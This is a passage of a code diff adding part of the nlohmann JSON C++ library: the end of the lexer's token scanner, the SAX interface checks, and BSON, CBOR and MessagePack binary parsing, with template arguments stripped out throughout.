+ // read next character and ignore whitespace + skip_whitespace(); + + // ignore comments + while (ignore_comments && current == '/') + { + if (!scan_comment()) + { + return token_type::parse_error; + } + + // skip following whitespace + skip_whitespace(); + } + + switch (current) + { + // structural characters + case '[': + return token_type::begin_array; + case ']': + return token_type::end_array; + case '{': + return token_type::begin_object; + case '}': + return token_type::end_object; + case ':': + return token_type::name_separator; + case ',': + return token_type::value_separator; + + // literals + case 't': + { + std::array true_literal = {{'t', 'r', 'u', 'e'}}; + return scan_literal(true_literal.data(), true_literal.size(), token_type::literal_true); + } + case 'f': + { + std::array false_literal = {{'f', 'a', 'l', 's', 'e'}}; + return scan_literal(false_literal.data(), false_literal.size(), token_type::literal_false); + } + case 'n': + { + std::array null_literal = {{'n', 'u', 'l', 'l'}}; + return scan_literal(null_literal.data(), null_literal.size(), token_type::literal_null); + } + + // string + case '\"': + return scan_string(); + + // number + case '-': + case '0': + case '1': + case '2': + case '3': + case '4': + case '5': + case '6': + case '7': + case '8': + case '9': + return scan_number(); + + // end of input (the null byte is needed when parsing from + // string literals) + case '\0': + case std::char_traits::eof(): + return token_type::end_of_input; + + // error + default: + error_message = "invalid literal"; + return token_type::parse_error; + } + } + + private: + /// input adapter + InputAdapterType ia; + + /// whether comments should be ignored (true) or signaled as errors (false) + const bool ignore_comments = false; + + /// the current character + char_int_type current = std::char_traits::eof(); + + /// whether the next get() call should just return current + bool next_unget = false; + + /// the start position of the current token + position_t position {}; + + /// raw input token string (for error messages) + std::vector token_string {}; + + /// buffer for variable-length tokens (numbers, strings) + string_t token_buffer {}; + + /// a description of occurred lexer errors + const char* error_message = ""; + + // number values + number_integer_t value_integer = 0; + number_unsigned_t value_unsigned = 0; + number_float_t value_float = 0; + + /// the decimal point + const char_int_type decimal_point_char = '.'; +}; +} // namespace detail +} // namespace nlohmann + +// #include + +// #include + + +#include // size_t +#include // declval +#include // string + +// #include + +// #include + + +namespace nlohmann +{ +namespace detail +{ +template +using null_function_t = decltype(std::declval().null()); + +template +using boolean_function_t = + decltype(std::declval().boolean(std::declval())); + +template +using number_integer_function_t = + decltype(std::declval().number_integer(std::declval())); + +template +using number_unsigned_function_t = + decltype(std::declval().number_unsigned(std::declval())); + +template +using number_float_function_t = decltype(std::declval().number_float( + std::declval(), std::declval())); + +template +using string_function_t = + decltype(std::declval().string(std::declval())); + +template +using binary_function_t = + decltype(std::declval().binary(std::declval())); + +template +using start_object_function_t = + decltype(std::declval().start_object(std::declval())); + +template +using key_function_t = + decltype(std::declval().key(std::declval())); + +template +using end_object_function_t = decltype(std::declval().end_object()); + +template +using start_array_function_t = + decltype(std::declval().start_array(std::declval())); + +template +using end_array_function_t = decltype(std::declval().end_array()); + +template +using parse_error_function_t = decltype(std::declval().parse_error( + std::declval(), std::declval(), + std::declval())); + +template +struct is_sax +{ + private: + static_assert(is_basic_json::value, + "BasicJsonType must be of type basic_json<...>"); + + using number_integer_t = typename BasicJsonType::number_integer_t; + using number_unsigned_t = typename BasicJsonType::number_unsigned_t; + using number_float_t = typename BasicJsonType::number_float_t; + using string_t = typename BasicJsonType::string_t; + using binary_t = typename BasicJsonType::binary_t; + using exception_t = typename BasicJsonType::exception; + + public: + static constexpr bool value = + is_detected_exact::value && + is_detected_exact::value && + is_detected_exact::value && + is_detected_exact::value && + is_detected_exact::value && + is_detected_exact::value && + is_detected_exact::value && + is_detected_exact::value && + is_detected_exact::value && + is_detected_exact::value && + is_detected_exact::value && + is_detected_exact::value && + is_detected_exact::value; +}; + +template +struct is_sax_static_asserts +{ + private: + static_assert(is_basic_json::value, + "BasicJsonType must be of type basic_json<...>"); + + using number_integer_t = typename BasicJsonType::number_integer_t; + using number_unsigned_t = typename BasicJsonType::number_unsigned_t; + using number_float_t = typename BasicJsonType::number_float_t; + using string_t = typename BasicJsonType::string_t; + using binary_t = typename BasicJsonType::binary_t; + using exception_t = typename BasicJsonType::exception; + + public: + static_assert(is_detected_exact::value, + "Missing/invalid function: bool null()"); + static_assert(is_detected_exact::value, + "Missing/invalid function: bool boolean(bool)"); + static_assert(is_detected_exact::value, + "Missing/invalid function: bool boolean(bool)"); + static_assert( + is_detected_exact::value, + "Missing/invalid function: bool number_integer(number_integer_t)"); + static_assert( + is_detected_exact::value, + "Missing/invalid function: bool number_unsigned(number_unsigned_t)"); + static_assert(is_detected_exact::value, + "Missing/invalid function: bool number_float(number_float_t, const string_t&)"); + static_assert( + is_detected_exact::value, + "Missing/invalid function: bool string(string_t&)"); + static_assert( + is_detected_exact::value, + "Missing/invalid function: bool binary(binary_t&)"); + static_assert(is_detected_exact::value, + "Missing/invalid function: bool start_object(std::size_t)"); + static_assert(is_detected_exact::value, + "Missing/invalid function: bool key(string_t&)"); + static_assert(is_detected_exact::value, + "Missing/invalid function: bool end_object()"); + static_assert(is_detected_exact::value, + "Missing/invalid function: bool start_array(std::size_t)"); + static_assert(is_detected_exact::value, + "Missing/invalid function: bool end_array()"); + static_assert( + is_detected_exact::value, + "Missing/invalid function: bool parse_error(std::size_t, const " + "std::string&, const exception&)"); +}; +} // namespace detail +} // namespace nlohmann + +// #include + + +namespace nlohmann +{ +namespace detail +{ + +/// how to treat CBOR tags +enum class cbor_tag_handler_t +{ + error, ///< throw a parse_error exception in case of a tag + ignore ///< ignore tags +}; + +/*! +@brief determine system byte order + +@return true if and only if system's byte order is little endian + +@note from https://stackoverflow.com/a/1001328/266378 +*/ +static inline bool little_endianess(int num = 1) noexcept +{ + return *reinterpret_cast(&num) == 1; +} + + +/////////////////// +// binary reader // +/////////////////// + +/*! +@brief deserialization of CBOR, MessagePack, and UBJSON values +*/ +template> +class binary_reader +{ + using number_integer_t = typename BasicJsonType::number_integer_t; + using number_unsigned_t = typename BasicJsonType::number_unsigned_t; + using number_float_t = typename BasicJsonType::number_float_t; + using string_t = typename BasicJsonType::string_t; + using binary_t = typename BasicJsonType::binary_t; + using json_sax_t = SAX; + using char_type = typename InputAdapterType::char_type; + using char_int_type = typename std::char_traits::int_type; + + public: + /*! + @brief create a binary reader + + @param[in] adapter input adapter to read from + */ + explicit binary_reader(InputAdapterType&& adapter) : ia(std::move(adapter)) + { + (void)detail::is_sax_static_asserts {}; + } + + // make class move-only + binary_reader(const binary_reader&) = delete; + binary_reader(binary_reader&&) = default; + binary_reader& operator=(const binary_reader&) = delete; + binary_reader& operator=(binary_reader&&) = default; + ~binary_reader() = default; + + /*! + @param[in] format the binary format to parse + @param[in] sax_ a SAX event processor + @param[in] strict whether to expect the input to be consumed completed + @param[in] tag_handler how to treat CBOR tags + + @return + */ + JSON_HEDLEY_NON_NULL(3) + bool sax_parse(const input_format_t format, + json_sax_t* sax_, + const bool strict = true, + const cbor_tag_handler_t tag_handler = cbor_tag_handler_t::error) + { + sax = sax_; + bool result = false; + + switch (format) + { + case input_format_t::bson: + result = parse_bson_internal(); + break; + + case input_format_t::cbor: + result = parse_cbor_internal(true, tag_handler); + break; + + case input_format_t::msgpack: + result = parse_msgpack_internal(); + break; + + case input_format_t::ubjson: + result = parse_ubjson_internal(); + break; + + default: // LCOV_EXCL_LINE + JSON_ASSERT(false); // LCOV_EXCL_LINE + } + + // strict mode: next byte must be EOF + if (result && strict) + { + if (format == input_format_t::ubjson) + { + get_ignore_noop(); + } + else + { + get(); + } + + if (JSON_HEDLEY_UNLIKELY(current != std::char_traits::eof())) + { + return sax->parse_error(chars_read, get_token_string(), + parse_error::create(110, chars_read, exception_message(format, "expected end of input; last byte: 0x" + get_token_string(), "value"))); + } + } + + return result; + } + + private: + ////////// + // BSON // + ////////// + + /*! + @brief Reads in a BSON-object and passes it to the SAX-parser. + @return whether a valid BSON-value was passed to the SAX parser + */ + bool parse_bson_internal() + { + std::int32_t document_size{}; + get_number(input_format_t::bson, document_size); + + if (JSON_HEDLEY_UNLIKELY(!sax->start_object(std::size_t(-1)))) + { + return false; + } + + if (JSON_HEDLEY_UNLIKELY(!parse_bson_element_list(/*is_array*/false))) + { + return false; + } + + return sax->end_object(); + } + + /*! + @brief Parses a C-style string from the BSON input. + @param[in, out] result A reference to the string variable where the read + string is to be stored. + @return `true` if the \x00-byte indicating the end of the string was + encountered before the EOF; false` indicates an unexpected EOF. + */ + bool get_bson_cstr(string_t& result) + { + auto out = std::back_inserter(result); + while (true) + { + get(); + if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(input_format_t::bson, "cstring"))) + { + return false; + } + if (current == 0x00) + { + return true; + } + *out++ = static_cast(current); + } + } + + /*! + @brief Parses a zero-terminated string of length @a len from the BSON + input. + @param[in] len The length (including the zero-byte at the end) of the + string to be read. + @param[in, out] result A reference to the string variable where the read + string is to be stored. + @tparam NumberType The type of the length @a len + @pre len >= 1 + @return `true` if the string was successfully parsed + */ + template + bool get_bson_string(const NumberType len, string_t& result) + { + if (JSON_HEDLEY_UNLIKELY(len < 1)) + { + auto last_token = get_token_string(); + return sax->parse_error(chars_read, last_token, parse_error::create(112, chars_read, exception_message(input_format_t::bson, "string length must be at least 1, is " + std::to_string(len), "string"))); + } + + return get_string(input_format_t::bson, len - static_cast(1), result) && get() != std::char_traits::eof(); + } + + /*! + @brief Parses a byte array input of length @a len from the BSON input. + @param[in] len The length of the byte array to be read. + @param[in, out] result A reference to the binary variable where the read + array is to be stored. + @tparam NumberType The type of the length @a len + @pre len >= 0 + @return `true` if the byte array was successfully parsed + */ + template + bool get_bson_binary(const NumberType len, binary_t& result) + { + if (JSON_HEDLEY_UNLIKELY(len < 0)) + { + auto last_token = get_token_string(); + return sax->parse_error(chars_read, last_token, parse_error::create(112, chars_read, exception_message(input_format_t::bson, "byte array length cannot be negative, is " + std::to_string(len), "binary"))); + } + + // All BSON binary values have a subtype + std::uint8_t subtype{}; + get_number(input_format_t::bson, subtype); + result.set_subtype(subtype); + + return get_binary(input_format_t::bson, len, result); + } + + /*! + @brief Read a BSON document element of the given @a element_type. + @param[in] element_type The BSON element type, c.f. http://bsonspec.org/spec.html + @param[in] element_type_parse_position The position in the input stream, + where the `element_type` was read. + @warning Not all BSON element types are supported yet. An unsupported + @a element_type will give rise to a parse_error.114: + Unsupported BSON record type 0x... + @return whether a valid BSON-object/array was passed to the SAX parser + */ + bool parse_bson_element_internal(const char_int_type element_type, + const std::size_t element_type_parse_position) + { + switch (element_type) + { + case 0x01: // double + { + double number{}; + return get_number(input_format_t::bson, number) && sax->number_float(static_cast(number), ""); + } + + case 0x02: // string + { + std::int32_t len{}; + string_t value; + return get_number(input_format_t::bson, len) && get_bson_string(len, value) && sax->string(value); + } + + case 0x03: // object + { + return parse_bson_internal(); + } + + case 0x04: // array + { + return parse_bson_array(); + } + + case 0x05: // binary + { + std::int32_t len{}; + binary_t value; + return get_number(input_format_t::bson, len) && get_bson_binary(len, value) && sax->binary(value); + } + + case 0x08: // boolean + { + return sax->boolean(get() != 0); + } + + case 0x0A: // null + { + return sax->null(); + } + + case 0x10: // int32 + { + std::int32_t value{}; + return get_number(input_format_t::bson, value) && sax->number_integer(value); + } + + case 0x12: // int64 + { + std::int64_t value{}; + return get_number(input_format_t::bson, value) && sax->number_integer(value); + } + + default: // anything else not supported (yet) + { + std::array cr{{}}; + (std::snprintf)(cr.data(), cr.size(), "%.2hhX", static_cast(element_type)); + return sax->parse_error(element_type_parse_position, std::string(cr.data()), parse_error::create(114, element_type_parse_position, "Unsupported BSON record type 0x" + std::string(cr.data()))); + } + } + } + + /*! + @brief Read a BSON element list (as specified in the BSON-spec) + + The same binary layout is used for objects and arrays, hence it must be + indicated with the argument @a is_array which one is expected + (true --> array, false --> object). + + @param[in] is_array Determines if the element list being read is to be + treated as an object (@a is_array == false), or as an + array (@a is_array == true). + @return whether a valid BSON-object/array was passed to the SAX parser + */ + bool parse_bson_element_list(const bool is_array) + { + string_t key; + + while (auto element_type = get()) + { + if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(input_format_t::bson, "element list"))) + { + return false; + } + + const std::size_t element_type_parse_position = chars_read; + if (JSON_HEDLEY_UNLIKELY(!get_bson_cstr(key))) + { + return false; + } + + if (!is_array && !sax->key(key)) + { + return false; + } + + if (JSON_HEDLEY_UNLIKELY(!parse_bson_element_internal(element_type, element_type_parse_position))) + { + return false; + } + + // get_bson_cstr only appends + key.clear(); + } + + return true; + } + + /*! + @brief Reads an array from the BSON input and passes it to the SAX-parser. + @return whether a valid BSON-array was passed to the SAX parser + */ + bool parse_bson_array() + { + std::int32_t document_size{}; + get_number(input_format_t::bson, document_size); + + if (JSON_HEDLEY_UNLIKELY(!sax->start_array(std::size_t(-1)))) + { + return false; + } + + if (JSON_HEDLEY_UNLIKELY(!parse_bson_element_list(/*is_array*/true))) + { + return false; + } + + return sax->end_array(); + } + + ////////// + // CBOR // + ////////// + + /*! + @param[in] get_char whether a new character should be retrieved from the + input (true) or whether the last read character should + be considered instead (false) + @param[in] tag_handler how CBOR tags should be treated + + @return whether a valid CBOR value was passed to the SAX parser + */ + bool parse_cbor_internal(const bool get_char, + const cbor_tag_handler_t tag_handler) + { + switch (get_char ? get() : current) + { + // EOF + case std::char_traits::eof(): + return unexpect_eof(input_format_t::cbor, "value"); + + // Integer 0x00..0x17 (0..23) + case 0x00: + case 0x01: + case 0x02: + case 0x03: + case 0x04: + case 0x05: + case 0x06: + case 0x07: + case 0x08: + case 0x09: + case 0x0A: + case 0x0B: + case 0x0C: + case 0x0D: + case 0x0E: + case 0x0F: + case 0x10: + case 0x11: + case 0x12: + case 0x13: + case 0x14: + case 0x15: + case 0x16: + case 0x17: + return sax->number_unsigned(static_cast(current)); + + case 0x18: // Unsigned integer (one-byte uint8_t follows) + { + std::uint8_t number{}; + return get_number(input_format_t::cbor, number) && sax->number_unsigned(number); + } + + case 0x19: // Unsigned integer (two-byte uint16_t follows) + { + std::uint16_t number{}; + return get_number(input_format_t::cbor, number) && sax->number_unsigned(number); + } + + case 0x1A: // Unsigned integer (four-byte uint32_t follows) + { + std::uint32_t number{}; + return get_number(input_format_t::cbor, number) && sax->number_unsigned(number); + } + + case 0x1B: // Unsigned integer (eight-byte uint64_t follows) + { + std::uint64_t number{}; + return get_number(input_format_t::cbor, number) && sax->number_unsigned(number); + } + + // Negative integer -1-0x00..-1-0x17 (-1..-24) + case 0x20: + case 0x21: + case 0x22: + case 0x23: + case 0x24: + case 0x25: + case 0x26: + case 0x27: + case 0x28: + case 0x29: + case 0x2A: + case 0x2B: + case 0x2C: + case 0x2D: + case 0x2E: + case 0x2F: + case 0x30: + case 0x31: + case 0x32: + case 0x33: + case 0x34: + case 0x35: + case 0x36: + case 0x37: + return sax->number_integer(static_cast(0x20 - 1 - current)); + + case 0x38: // Negative integer (one-byte uint8_t follows) + { + std::uint8_t number{}; + return get_number(input_format_t::cbor, number) && sax->number_integer(static_cast(-1) - number); + } + + case 0x39: // Negative integer -1-n (two-byte uint16_t follows) + { + std::uint16_t number{}; + return get_number(input_format_t::cbor, number) && sax->number_integer(static_cast(-1) - number); + } + + case 0x3A: // Negative integer -1-n (four-byte uint32_t follows) + { + std::uint32_t number{}; + return get_number(input_format_t::cbor, number) && sax->number_integer(static_cast(-1) - number); + } + + case 0x3B: // Negative integer -1-n (eight-byte uint64_t follows) + { + std::uint64_t number{}; + return get_number(input_format_t::cbor, number) && sax->number_integer(static_cast(-1) + - static_cast(number)); + } + + // Binary data (0x00..0x17 bytes follow) + case 0x40: + case 0x41: + case 0x42: + case 0x43: + case 0x44: + case 0x45: + case 0x46: + case 0x47: + case 0x48: + case 0x49: + case 0x4A: + case 0x4B: + case 0x4C: + case 0x4D: + case 0x4E: + case 0x4F: + case 0x50: + case 0x51: + case 0x52: + case 0x53: + case 0x54: + case 0x55: + case 0x56: + case 0x57: + case 0x58: // Binary data (one-byte uint8_t for n follows) + case 0x59: // Binary data (two-byte uint16_t for n follow) + case 0x5A: // Binary data (four-byte uint32_t for n follow) + case 0x5B: // Binary data (eight-byte uint64_t for n follow) + case 0x5F: // Binary data (indefinite length) + { + binary_t b; + return get_cbor_binary(b) && sax->binary(b); + } + + // UTF-8 string (0x00..0x17 bytes follow) + case 0x60: + case 0x61: + case 0x62: + case 0x63: + case 0x64: + case 0x65: + case 0x66: + case 0x67: + case 0x68: + case 0x69: + case 0x6A: + case 0x6B: + case 0x6C: + case 0x6D: + case 0x6E: + case 0x6F: + case 0x70: + case 0x71: + case 0x72: + case 0x73: + case 0x74: + case 0x75: + case 0x76: + case 0x77: + case 0x78: // UTF-8 string (one-byte uint8_t for n follows) + case 0x79: // UTF-8 string (two-byte uint16_t for n follow) + case 0x7A: // UTF-8 string (four-byte uint32_t for n follow) + case 0x7B: // UTF-8 string (eight-byte uint64_t for n follow) + case 0x7F: // UTF-8 string (indefinite length) + { + string_t s; + return get_cbor_string(s) && sax->string(s); + } + + // array (0x00..0x17 data items follow) + case 0x80: + case 0x81: + case 0x82: + case 0x83: + case 0x84: + case 0x85: + case 0x86: + case 0x87: + case 0x88: + case 0x89: + case 0x8A: + case 0x8B: + case 0x8C: + case 0x8D: + case 0x8E: + case 0x8F: + case 0x90: + case 0x91: + case 0x92: + case 0x93: + case 0x94: + case 0x95: + case 0x96: + case 0x97: + return get_cbor_array(static_cast(static_cast(current) & 0x1Fu), tag_handler); + + case 0x98: // array (one-byte uint8_t for n follows) + { + std::uint8_t len{}; + return get_number(input_format_t::cbor, len) && get_cbor_array(static_cast(len), tag_handler); + } + + case 0x99: // array (two-byte uint16_t for n follow) + { + std::uint16_t len{}; + return get_number(input_format_t::cbor, len) && get_cbor_array(static_cast(len), tag_handler); + } + + case 0x9A: // array (four-byte uint32_t for n follow) + { + std::uint32_t len{}; + return get_number(input_format_t::cbor, len) && get_cbor_array(static_cast(len), tag_handler); + } + + case 0x9B: // array (eight-byte uint64_t for n follow) + { + std::uint64_t len{}; + return get_number(input_format_t::cbor, len) && get_cbor_array(static_cast(len), tag_handler); + } + + case 0x9F: // array (indefinite length) + return get_cbor_array(std::size_t(-1), tag_handler); + + // map (0x00..0x17 pairs of data items follow) + case 0xA0: + case 0xA1: + case 0xA2: + case 0xA3: + case 0xA4: + case 0xA5: + case 0xA6: + case 0xA7: + case 0xA8: + case 0xA9: + case 0xAA: + case 0xAB: + case 0xAC: + case 0xAD: + case 0xAE: + case 0xAF: + case 0xB0: + case 0xB1: + case 0xB2: + case 0xB3: + case 0xB4: + case 0xB5: + case 0xB6: + case 0xB7: + return get_cbor_object(static_cast(static_cast(current) & 0x1Fu), tag_handler); + + case 0xB8: // map (one-byte uint8_t for n follows) + { + std::uint8_t len{}; + return get_number(input_format_t::cbor, len) && get_cbor_object(static_cast(len), tag_handler); + } + + case 0xB9: // map (two-byte uint16_t for n follow) + { + std::uint16_t len{}; + return get_number(input_format_t::cbor, len) && get_cbor_object(static_cast(len), tag_handler); + } + + case 0xBA: // map (four-byte uint32_t for n follow) + { + std::uint32_t len{}; + return get_number(input_format_t::cbor, len) && get_cbor_object(static_cast(len), tag_handler); + } + + case 0xBB: // map (eight-byte uint64_t for n follow) + { + std::uint64_t len{}; + return get_number(input_format_t::cbor, len) && get_cbor_object(static_cast(len), tag_handler); + } + + case 0xBF: // map (indefinite length) + return get_cbor_object(std::size_t(-1), tag_handler); + + case 0xC6: // tagged item + case 0xC7: + case 0xC8: + case 0xC9: + case 0xCA: + case 0xCB: + case 0xCC: + case 0xCD: + case 0xCE: + case 0xCF: + case 0xD0: + case 0xD1: + case 0xD2: + case 0xD3: + case 0xD4: + case 0xD8: // tagged item (1 bytes follow) + case 0xD9: // tagged item (2 bytes follow) + case 0xDA: // tagged item (4 bytes follow) + case 0xDB: // tagged item (8 bytes follow) + { + switch (tag_handler) + { + case cbor_tag_handler_t::error: + { + auto last_token = get_token_string(); + return sax->parse_error(chars_read, last_token, parse_error::create(112, chars_read, exception_message(input_format_t::cbor, "invalid byte: 0x" + last_token, "value"))); + } + + case cbor_tag_handler_t::ignore: + { + switch (current) + { + case 0xD8: + { + std::uint8_t len{}; + get_number(input_format_t::cbor, len); + break; + } + case 0xD9: + { + std::uint16_t len{}; + get_number(input_format_t::cbor, len); + break; + } + case 0xDA: + { + std::uint32_t len{}; + get_number(input_format_t::cbor, len); + break; + } + case 0xDB: + { + std::uint64_t len{}; + get_number(input_format_t::cbor, len); + break; + } + default: + break; + } + return parse_cbor_internal(true, tag_handler); + } + + default: // LCOV_EXCL_LINE + JSON_ASSERT(false); // LCOV_EXCL_LINE + return false; // LCOV_EXCL_LINE + } + } + + case 0xF4: // false + return sax->boolean(false); + + case 0xF5: // true + return sax->boolean(true); + + case 0xF6: // null + return sax->null(); + + case 0xF9: // Half-Precision Float (two-byte IEEE 754) + { + const auto byte1_raw = get(); + if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(input_format_t::cbor, "number"))) + { + return false; + } + const auto byte2_raw = get(); + if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(input_format_t::cbor, "number"))) + { + return false; + } + + const auto byte1 = static_cast(byte1_raw); + const auto byte2 = static_cast(byte2_raw); + + // code from RFC 7049, Appendix D, Figure 3: + // As half-precision floating-point numbers were only added + // to IEEE 754 in 2008, today's programming platforms often + // still only have limited support for them. It is very + // easy to include at least decoding support for them even + // without such support. An example of a small decoder for + // half-precision floating-point numbers in the C language + // is shown in Fig. 3. + const auto half = static_cast((byte1 << 8u) + byte2); + const double val = [&half] + { + const int exp = (half >> 10u) & 0x1Fu; + const unsigned int mant = half & 0x3FFu; + JSON_ASSERT(0 <= exp&& exp <= 32); + JSON_ASSERT(mant <= 1024); + switch (exp) + { + case 0: + return std::ldexp(mant, -24); + case 31: + return (mant == 0) + ? std::numeric_limits::infinity() + : std::numeric_limits::quiet_NaN(); + default: + return std::ldexp(mant + 1024, exp - 25); + } + }(); + return sax->number_float((half & 0x8000u) != 0 + ? static_cast(-val) + : static_cast(val), ""); + } + + case 0xFA: // Single-Precision Float (four-byte IEEE 754) + { + float number{}; + return get_number(input_format_t::cbor, number) && sax->number_float(static_cast(number), ""); + } + + case 0xFB: // Double-Precision Float (eight-byte IEEE 754) + { + double number{}; + return get_number(input_format_t::cbor, number) && sax->number_float(static_cast(number), ""); + } + + default: // anything else (0xFF is handled inside the other types) + { + auto last_token = get_token_string(); + return sax->parse_error(chars_read, last_token, parse_error::create(112, chars_read, exception_message(input_format_t::cbor, "invalid byte: 0x" + last_token, "value"))); + } + } + } + + /*! + @brief reads a CBOR string + + This function first reads starting bytes to determine the expected + string length and then copies this number of bytes into a string. + Additionally, CBOR's strings with indefinite lengths are supported. + + @param[out] result created string + + @return whether string creation completed + */ + bool get_cbor_string(string_t& result) + { + if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(input_format_t::cbor, "string"))) + { + return false; + } + + switch (current) + { + // UTF-8 string (0x00..0x17 bytes follow) + case 0x60: + case 0x61: + case 0x62: + case 0x63: + case 0x64: + case 0x65: + case 0x66: + case 0x67: + case 0x68: + case 0x69: + case 0x6A: + case 0x6B: + case 0x6C: + case 0x6D: + case 0x6E: + case 0x6F: + case 0x70: + case 0x71: + case 0x72: + case 0x73: + case 0x74: + case 0x75: + case 0x76: + case 0x77: + { + return get_string(input_format_t::cbor, static_cast(current) & 0x1Fu, result); + } + + case 0x78: // UTF-8 string (one-byte uint8_t for n follows) + { + std::uint8_t len{}; + return get_number(input_format_t::cbor, len) && get_string(input_format_t::cbor, len, result); + } + + case 0x79: // UTF-8 string (two-byte uint16_t for n follow) + { + std::uint16_t len{}; + return get_number(input_format_t::cbor, len) && get_string(input_format_t::cbor, len, result); + } + + case 0x7A: // UTF-8 string (four-byte uint32_t for n follow) + { + std::uint32_t len{}; + return get_number(input_format_t::cbor, len) && get_string(input_format_t::cbor, len, result); + } + + case 0x7B: // UTF-8 string (eight-byte uint64_t for n follow) + { + std::uint64_t len{}; + return get_number(input_format_t::cbor, len) && get_string(input_format_t::cbor, len, result); + } + + case 0x7F: // UTF-8 string (indefinite length) + { + while (get() != 0xFF) + { + string_t chunk; + if (!get_cbor_string(chunk)) + { + return false; + } + result.append(chunk); + } + return true; + } + + default: + { + auto last_token = get_token_string(); + return sax->parse_error(chars_read, last_token, parse_error::create(113, chars_read, exception_message(input_format_t::cbor, "expected length specification (0x60-0x7B) or indefinite string type (0x7F); last byte: 0x" + last_token, "string"))); + } + } + } + + /*! + @brief reads a CBOR byte array + + This function first reads starting bytes to determine the expected + byte array length and then copies this number of bytes into the byte array. + Additionally, CBOR's byte arrays with indefinite lengths are supported. + + @param[out] result created byte array + + @return whether byte array creation completed + */ + bool get_cbor_binary(binary_t& result) + { + if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(input_format_t::cbor, "binary"))) + { + return false; + } + + switch (current) + { + // Binary data (0x00..0x17 bytes follow) + case 0x40: + case 0x41: + case 0x42: + case 0x43: + case 0x44: + case 0x45: + case 0x46: + case 0x47: + case 0x48: + case 0x49: + case 0x4A: + case 0x4B: + case 0x4C: + case 0x4D: + case 0x4E: + case 0x4F: + case 0x50: + case 0x51: + case 0x52: + case 0x53: + case 0x54: + case 0x55: + case 0x56: + case 0x57: + { + return get_binary(input_format_t::cbor, static_cast(current) & 0x1Fu, result); + } + + case 0x58: // Binary data (one-byte uint8_t for n follows) + { + std::uint8_t len{}; + return get_number(input_format_t::cbor, len) && + get_binary(input_format_t::cbor, len, result); + } + + case 0x59: // Binary data (two-byte uint16_t for n follow) + { + std::uint16_t len{}; + return get_number(input_format_t::cbor, len) && + get_binary(input_format_t::cbor, len, result); + } + + case 0x5A: // Binary data (four-byte uint32_t for n follow) + { + std::uint32_t len{}; + return get_number(input_format_t::cbor, len) && + get_binary(input_format_t::cbor, len, result); + } + + case 0x5B: // Binary data (eight-byte uint64_t for n follow) + { + std::uint64_t len{}; + return get_number(input_format_t::cbor, len) && + get_binary(input_format_t::cbor, len, result); + } + + case 0x5F: // Binary data (indefinite length) + { + while (get() != 0xFF) + { + binary_t chunk; + if (!get_cbor_binary(chunk)) + { + return false; + } + result.insert(result.end(), chunk.begin(), chunk.end()); + } + return true; + } + + default: + { + auto last_token = get_token_string(); + return sax->parse_error(chars_read, last_token, parse_error::create(113, chars_read, exception_message(input_format_t::cbor, "expected length specification (0x40-0x5B) or indefinite binary array type (0x5F); last byte: 0x" + last_token, "binary"))); + } + } + } + + /*! + @param[in] len the length of the array or std::size_t(-1) for an + array of indefinite size + @param[in] tag_handler how CBOR tags should be treated + @return whether array creation completed + */ + bool get_cbor_array(const std::size_t len, + const cbor_tag_handler_t tag_handler) + { + if (JSON_HEDLEY_UNLIKELY(!sax->start_array(len))) + { + return false; + } + + if (len != std::size_t(-1)) + { + for (std::size_t i = 0; i < len; ++i) + { + if (JSON_HEDLEY_UNLIKELY(!parse_cbor_internal(true, tag_handler))) + { + return false; + } + } + } + else + { + while (get() != 0xFF) + { + if (JSON_HEDLEY_UNLIKELY(!parse_cbor_internal(false, tag_handler))) + { + return false; + } + } + } + + return sax->end_array(); + } + + /*! + @param[in] len the length of the object or std::size_t(-1) for an + object of indefinite size + @param[in] tag_handler how CBOR tags should be treated + @return whether object creation completed + */ + bool get_cbor_object(const std::size_t len, + const cbor_tag_handler_t tag_handler) + { + if (JSON_HEDLEY_UNLIKELY(!sax->start_object(len))) + { + return false; + } + + string_t key; + if (len != std::size_t(-1)) + { + for (std::size_t i = 0; i < len; ++i) + { + get(); + if (JSON_HEDLEY_UNLIKELY(!get_cbor_string(key) || !sax->key(key))) + { + return false; + } + + if (JSON_HEDLEY_UNLIKELY(!parse_cbor_internal(true, tag_handler))) + { + return false; + } + key.clear(); + } + } + else + { + while (get() != 0xFF) + { + if (JSON_HEDLEY_UNLIKELY(!get_cbor_string(key) || !sax->key(key))) + { + return false; + } + + if (JSON_HEDLEY_UNLIKELY(!parse_cbor_internal(true, tag_handler))) + { + return false; + } + key.clear(); + } + } + + return sax->end_object(); + } + + ///////////// + // MsgPack // + ///////////// + + /*! + @return whether a valid MessagePack value was passed to the SAX parser + */ + bool parse_msgpack_internal() + { + switch (get()) + { + // EOF + case std::char_traits::eof(): + return unexpect_eof(input_format_t::msgpack, "value"); + + // positive fixint + case 0x00: + case 0x01: + case 0x02: + case 0x03: + case 0x04: + case 0x05: + case 0x06: + case 0x07: + case 0x08: + case 0x09: + case 0x0A: + case 0x0B: + case 0x0C: + case 0x0D: + case 0x0E: + case 0x0F: + case 0x10: + case 0x11: + case 0x12: + case 0x13: + case 0x14: + case 0x15: + case 0x16: + case 0x17: + case 0x18: + case 0x19: + case 0x1A: + case 0x1B: + case 0x1C: + case 0x1D: + case 0x1E: + case 0x1F: + case 0x20: + case 0x21: + case 0x22: + case 0x23: + case 0x24: + case 0x25: + case 0x26: + case 0x27: + case 0x28: + case 0x29: + case 0x2A: + case 0x2B: + case 0x2C: + case 0x2D: + case 0x2E: + case 0x2F: + case 0x30: + case 0x31: + case 0x32: + case 0x33: + case 0x34: + case 0x35: + case 0x36: + case 0x37: + case 0x38: + case 0x39: + case 0x3A: + case 0x3B: + case 0x3C: + case 0x3D: + case 0x3E: + case 0x3F: + case 0x40: + case 0x41: + case 0x42: + case 0x43: + case 0x44: + case 0x45: + case 0x46: + case 0x47: + case 0x48: + case 0x49: + case 0x4A: + case 0x4B: + case 0x4C: + case 0x4D: + case 0x4E: + case 0x4F: + case 0x50: + case 0x51: + case 0x52: + case 0x53: + case 0x54: + case 0x55: + case 0x56: + case 0x57: + case 0x58: + case 0x59: + case 0x5A: + case 0x5B: + case 0x5C: + case 0x5D: + case 0x5E: + case 0x5F: + case 0x60: + case 0x61: + case 0x62: + case 0x63: + case 0x64: + case 0x65: + case 0x66: + case 0x67: + case 0x68: + case 0x69: + case 0x6A: + case 0x6B: + case 0x6C: + case 0x6D: + case 0x6E: + case 0x6F: + case 0x70: + case 0x71: + case 0x72: + case 0x73: + 